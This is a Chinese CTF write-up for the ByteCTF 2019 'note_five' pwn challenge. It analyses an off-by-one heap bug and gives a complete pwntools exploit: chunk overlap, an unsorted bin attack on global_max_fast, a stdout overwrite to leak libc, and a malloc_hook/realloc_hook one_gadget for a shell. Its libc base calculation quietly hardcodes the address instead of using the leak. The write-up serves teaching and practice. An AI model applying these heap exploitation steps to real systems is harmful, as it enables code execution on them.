ByteCTF 2019 note_five 详细题解
2019-12-20 07:02:00 Author: xz.aliyun.com(查看原文) 阅读量:220 收藏


大佬都是秒题,但作为一个萌新做该题还是觉得很吃力,涉及很多并且不熟悉的知识点,学习记录一下过程,对自己和其他人都是有帮助的。

知识点包括,可以分别对照学习:

  1. Off By One
  2. Chunk Extend and Overlapping
  3. Unsorted Bins Attack
  4. Fast Bin Attack and Arbitrary Alloc
  5. Overwrite Stdout Leak Libc
  6. Overwrite malloc_hook and realloc
  7. One gadget getshell

Checksec

pwndbg> checksec
[*] '/root/pwn/bytectf2019/note-five/note_five'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

IDA F5

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // ST0C_4
  __int64 result; // rax

  setbuff();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          v3 = menu();
          result = v3;
          if ( v3 != 2 )
            break;
          edit_info();
        }
        if ( (signed int)result > 2 )
          break;
        if ( (_DWORD)result != 1 )
          goto bad_note;
        create_info();
      }
      if ( (_DWORD)result != 3 )
        break;
      delete_info();
    }
    if ( (_DWORD)result == 4 )
      return result;
bad_note:
    puts("bad choice");
  }
}

menu函数

int menu()
{
  puts("infomation management:");
  puts("1. new info");
  puts("2. edit info");
  puts("3. delete info");
  puts("4. exit");
  printf("choice>> ");
  return input_num();
}

包含创建、编辑、删除info的功能。

create_info函数

int create_info()
{
  _DWORD *v0; // rax
  int info_id; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  info_id = input_num();
  if ( info_id >= 0 && info_id <= 4 )
  {
    printf("size: ");
    size = input_num();
    if ( size > 143 && size <= 1024 )           // 对size进行限制,大于fast bins chunk
    {
      info_array[info_id] = malloc(size);
      v0 = info_len_array;
      info_len_array[info_id] = size;
    }
    else
    {
      LODWORD(v0) = puts("size error");
    }
  }
  else
  {
    LODWORD(v0) = puts("idx error");
  }
  return (signed int)v0;
}

infoid进行限制,范围0-4,最多5个;对infosize进行限制,大小为143 -1024,大于fast bins chunkchunk释放后不会进入fast bins而进入unsorted bins。申请的空间地址根据索引id放入info_array,空间大小也根据索引id放入info_len_array

edit_info函数

int edit_info()
{
  int id; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  id = input_num();
  if ( id < 0 || id > 4 || !info_array[id] )
    return puts("idx error");
  printf("content: ");
  return readinput(info_array[id], info_len_array[id], '\n');
}

根据索引id在数组中确定对象的空间地址和大小,并传入readinput写入内容。

delete_info函数

int delete_info()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v2 = input_num();
  if ( v2 >= 0 && v2 <= 4 )
  {
    if ( info_array[v2] )
      free((void *)info_array[v2]);
    info_array[v2] = 0LL;
    v0 = info_len_array;
    info_len_array[v2] = 0;
  }
  else
  {
    LODWORD(v0) = puts("idx error");
  }
  return (signed int)v0;
}

free指针,info_array存储位置设为零。

readinput函数

__int64 __fastcall readinput(__int64 str_addr, signed int length, char EOF_string)
{
  __int64 result; // rax
  char EOF; // [rsp+0h] [rbp-20h]
  unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  EOF = EOF_string;
  v7 = __readfsqword(0x28u);
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i > length )
      break;
    if ( (signed int)read(0, &buf, 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    result = buf;
    if ( buf == EOF )
      break;
    *(_BYTE *)(str_addr + i) = buf;
  }
  return result;
}

从标准输入中读取并向指定的空间地址写入指定长度的内容,break的条件为i > length,可以溢出多写一字节,存在off by one漏洞。

基本操作

#coding=utf-8
from pwn import *
import struct

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

p = process("./note_five")
pwnlib.gdb.attach(p)

def create(idx,size):
    p.sendlineafter("choice>>",str(1))
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("size:",str(size))


def edit(idx,content):
    p.sendlineafter("choice>>",str(2))
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("content:",content)


def delete(idx):
    p.sendlineafter("choice>>", str(3))
    p.sendlineafter("idx:", str(idx))

创建四个成员,大小如下:

#创建四个chunk
create(0,0x98)
create(1,0x98)
create(2,0x98) 
create(3,0x98) #隔离chunk,防止和top chunk合并

堆块如下:

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0x555555758000
chunk      0x555555758000   0xa0            (inuse)
chunk      0x5555557580a0   0xa0            (inuse)
chunk      0x555555758140   0xa0            (inuse)
chunk      0x5555557581e0   0xa0            (inuse)
chunk      0x555555758280   0x20d80         (top)

Off By One

delete(0)
edit(1,"A"*0x90 + p64(0x140) + p8(0xa0))
raw_input("1")
# off bu one overwrite next chunk(chunk2) szie and prev_size
delete(2)

删除0号,挂入unsorted bins,在1号处进行Off By One,覆盖2号的prev_chunk_size为两个成员chunk大小0x140(0xa0+0xa0)prev_chunk_inuse标志位置零。

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0x555555758000
chunk      0x555555758000   0xa0            (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC)
chunk      0x5555557580a0   0xa0            (F) FD 0x4141414141414141 BK 0x4141414141414141 (LC)
chunk      0x555555758140   0xa0            (inuse)
chunk      0x5555557581e0   0xa0            (inuse)
chunk      0x555555758280   0x20d80         (top)
sbrk_end   0x555555779000
pwndbg> x /10gx 0x555555758140
0x555555758140: 0x0000000000000140      0x00000000000000a0
0x555555758150: 0x0000000000000000      0x0000000000000000
0x555555758160: 0x0000000000000000      0x0000000000000000
0x555555758170: 0x0000000000000000      0x0000000000000000
0x555555758180: 0x0000000000000000      0x0000000000000000

Chunk Extend and Overlapping

删除2号,free过程根据prev_chunk_inuse触发空闲块合并,并根据prev_chunk_size偏移找到0号,合并为一个大小为0x1E0(0x140+0xa0)unsorted bins chunk

堆块如下:

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0x555555758000
chunk      0x555555758000   0x1e0           (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC)
chunk      0x5555557581e0   0xa0            (inuse)
chunk      0x555555758280   0x20d80         (top)
sbrk_end   0x555555779000
pwndbg> x /10gx 0x555555758000
0x555555758000: 0x0000000000000000      0x00000000000001e1
0x555555758010: 0x00007ffff7dd5b78      0x00007ffff7dd5b78
0x555555758020: 0x0000000000000000      0x0000000000000000
0x555555758030: 0x0000000000000000      0x0000000000000000
0x555555758040: 0x0000000000000000      0x0000000000000000

Unsorted Bins Attack

使用Unsorted Bins Attack修改global_max_fast

create(0,0xe8)
# 从unsorted bin chunk中分割一块使用
global_max_fast_addr =  0x7ffff7dd7848
edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10))
raw_input("3")
create(4,0xe8)
#通过1号info设置剩余的unsorted bins chunk,unsorted bin attack,修改global_max_fast

创建0号,大小为0xe8,会从unsorted bin chunk中分割一块用于分配。

此时unsorted bins chunk中包含可控的1号,且地址为0x5555557580a0,使其覆盖到剩余未分配unsorted bin chunk

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0x555555758000
chunk      0x555555758000   0xf0            (inuse)
chunk      0x5555557580f0   0xf0            (F) FD 0x0 BK 0x7ffff7dd7838
chunk      0x5555557581e0   0xa0            (inuse)
chunk      0x555555758280   0x20d80         (top)
sbrk_end   0x555555779000
pwndbg> x /50gx 0x5555557580a0
0x5555557580a0: 0x00000000000000a0      0x00000000000000a0
0x5555557580b0: 0x4141414141414141      0x4141414141414141
0x5555557580c0: 0x4141414141414141      0x4141414141414141
0x5555557580d0: 0x4141414141414141      0x4141414141414141
0x5555557580e0: 0x4141414141414141      0x4141414141414141
0x5555557580f0: 0x0000000000000000      0x00000000000000f1
0x555555758100: 0x0000000000000000      0x00007ffff7dd7838

创建4号,将global_max_fast修改为unsorted_chunks(av)

pwndbg> p /x global_max_fast
$2 = 0x7ffff7dd5b78

值很大,此时题目中创建的堆块都会被当做fast bin chunk进行处理。

Fast Bin Attack Arbitrary Alloc Laek Libc

delete(4)
#删除并放入fast bins
edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf))
#fast bin attack 修改第二次申请的地址为stdout附近

create(2,0xe8)
create(4,0xe8)
raw_input("4")
#覆盖stdout属性
edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40')

#泄露Libc相关地址
leak = u64(p.recvline()[1:8].ljust(8, '\x00'))
#raw_input("5")
log.success("leak addr :" + hex(leak))
libc_base = leak -  (leak - 0x7ffff7a49000)
log.success("libc_addr :" + hex(libc_base))

#计算相关地址
libc = ELF("./libc.debug.so")
one_gadget = libc_base + 0x3d169
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
stdin = libc_base + libc.symbols['_IO_2_1_stdin_']

删除4号,并再次通过1号进行覆盖,连续分配两次,通过fast bin attack在第二次分配时实现任意地址分配,分配到stdout附近。覆盖stdout中的flag_IO_write_base,泄露Libc相关地址。

pwndbg> p stdout
$3 = (struct _IO_FILE *) 0x7ffff7dd6620 <_IO_2_1_stdout_>
pwndbg> x /10gx 0x7ffff7dd6620
0x7ffff7dd6620 <_IO_2_1_stdout_>:       0x00000000fbad1800      0x0000000000000000
0x7ffff7dd6630 <_IO_2_1_stdout_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd6640 <_IO_2_1_stdout_+32>:    0x00007ffff7dd6640      0x00007ffff7dd66a3
0x7ffff7dd6650 <_IO_2_1_stdout_+48>:    0x00007ffff7dd66a3      0x00007ffff7dd66a3
0x7ffff7dd6660 <_IO_2_1_stdout_+64>:    0x00007ffff7dd66a4      0x0000000000000000

Overwrite __malloc_hook __realloc_hook

delete(2) #加入fast bin中
edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f)) #覆盖并利用fast bin attack指定预分配地址
create(2,0xe8)
create(4,0xe8)
edit(4,'A'*0xe0 + p64(0) + p64(0xf1)) #覆盖并创建合适的chunk header用于下次申请的chunk覆盖__malloc_hook 和 __realloc_hook

fast bins分配的过程中会根据申请空间大小0xe8的计算idx和与分配地址的计算的idx是否相同, 主要是根据chunk size进行计算。

在能够包含__malloc_hook__realloc_hook附近没有合适的位置(chunk size)可以用作分配的chunk ,但是有更远处却符合分配chunk。先分配较远位置作为跳板,创建合适的chunk header用于下次申请能够覆盖__malloc_hook__realloc_hookchunk

pwndbg> x /10gx 0x555555756080
0x555555756080: 0x0000555555758010      0x00005555557580b0
0x555555756090: 0x0000555555758100      0x00005555557581f0
0x5555557560a0: 0x00007ffff7dd597f      0x2e00725f6e6f6973
0x5555557560b0: 0x6e79642e616c6572      0x2e0074696e692e00
0x5555557560c0: 0x746c702e00746c70      0x65742e00746f672e
pwndbg> x /60gx  0x00007ffff7dd596f
0x7ffff7dd596f <_IO_2_1_stdin_+143>:    0xffffffffffffff00      0x00000000000000ff
0x7ffff7dd597f <_IO_2_1_stdin_+159>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd598f <_IO_2_1_stdin_+175>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd599f <_IO_2_1_stdin_+191>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59af <_IO_2_1_stdin_+207>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59bf <_IO_2_1_stdin_+223>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59cf <_IO_wide_data_0+15>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59df <_IO_wide_data_0+31>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59ef <_IO_wide_data_0+47>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd59ff <_IO_wide_data_0+63>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd5a0f <_IO_wide_data_0+79>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd5a1f <_IO_wide_data_0+95>:    0x4141414141414141      0x4141414141414141
0x7ffff7dd5a2f <_IO_wide_data_0+111>:   0x4141414141414141      0x4141414141414141
0x7ffff7dd5a3f <_IO_wide_data_0+127>:   0x4141414141414141      0x4141414141414141
0x7ffff7dd5a4f <_IO_wide_data_0+143>:   0x4141414141414141      0x4141414141414141
0x7ffff7dd5a5f <_IO_wide_data_0+159>:   0x0000000000000000      0x00000000000000f1
0x7ffff7dd5a6f <_IO_wide_data_0+175>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5a7f <_IO_wide_data_0+191>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5a8f <_IO_wide_data_0+207>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5a9f <_IO_wide_data_0+223>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5aaf <_IO_wide_data_0+239>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5abf <_IO_wide_data_0+255>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5acf <_IO_wide_data_0+271>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5adf <_IO_wide_data_0+287>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd5aef <_IO_wide_data_0+303>:   0x007ffff7dd426000      0x0000000000000000
0x7ffff7dd5aff: 0x007ffff7abea5100      0x007ffff7abea1200
0x7ffff7dd5b0f <__realloc_hook+7>:      0x0000000000000000      0x0000000000000000
0x7ffff7dd5b1f: 0x0000000000000000      0x0000000000000000

再次分配且chunk位置为前面构造处,包含__malloc_hook__realloc_hookchunk

delete(2)
edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1))
create(2,0xe8)
create(4,0xe8)
edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2))
# 覆盖__realloc_hook为one_gadget,__malloc_hook为realloc + 2
create(4,0xe8)
p.interactive()

覆盖__realloc_hook为one_gadget,__malloc_hookrealloc + 2,利用realloc调整rsp使one_gadget更加稳定。

root@10-8-163-191:~/# one_gadget libc.debug.so
0x3d169 execve("/bin/sh", rsp+0x20, environ)
constraints:
  [rsp+0x20] == NULL

0x3d16e execve("/bin/sh", rsi, environ)
constraints:
  [rsi] == NULL || rsi == NULL

0xcf2ac execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

exp

整理集合一下

#coding=utf-8
from pwn import *
import struct

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

p = process("./note_five")
pwnlib.gdb.attach(p)

def create(idx,size):
    p.sendlineafter("choice>>",str(1))
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("size:",str(size))


def edit(idx,content):
    p.sendlineafter("choice>>",str(2))
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("content:",content)


def delete(idx):
    p.sendlineafter("choice>>", str(3))
    p.sendlineafter("idx:", str(idx))

#创建四个chunk
create(0,0x98)
create(1,0x98)
create(2,0x98)
create(3,0x98) #隔离chunk,防止和top chunk合并

delete(0)
edit(1,"A"*0x90 + p64(0x140) + p8(0xa0))

# off bu one overwrite next chunk(chunk2) szie and prev_size
delete(2)
#unsorted bins chunk extend  Overlapping

create(0,0xe8)
# 从unsorted bin chunk中分割一块

global_max_fast_addr =  0x7ffff7dd7848
edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10))
create(4,0xe8)

#通过1号info设置剩下的unsorted bins chunk,unsorted bin attack,修改global_max_fast
delete(4)
#删除并放入fast bins

edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf))
#fast bin attack 修改第二次申请的地址为stdout附近
create(2,0xe8)
create(4,0xe8)
edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40')

#覆盖stdout,泄露Libc相关地址
leak = u64(p.recvline()[1:8].ljust(8, '\x00'))
log.success("leak addr :" + hex(leak))
libc_base = leak -  (leak - 0x7ffff7a49000)
log.success("libc_addr :" + hex(libc_base))

libc = ELF("./libc.debug.so")
one_gadget = libc_base + 0x3d169
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
stdin = libc_base + libc.symbols['_IO_2_1_stdin_']

print "one_gadget-> " + hex(one_gadget)
print "malloc_hook-> " + hex(malloc_hook)
print "realloc-> " + hex(realloc)
print "stdin-> " + hex(stdin)

delete(2)
edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f))
create(2,0xe8)
create(4,0xe8)
edit(4,'A'*0xe0 + p64(0) + p64(0xf1))

delete(2)
edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1))
create(2,0xe8)
create(4,0xe8)
edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2))

create(4,0xe8)
p.interactive()

https://blog.csdn.net/qq_43189757/article/details/102486165


文章来源: http://xz.aliyun.com/t/6951
如有侵权请联系:admin#unsafe.sh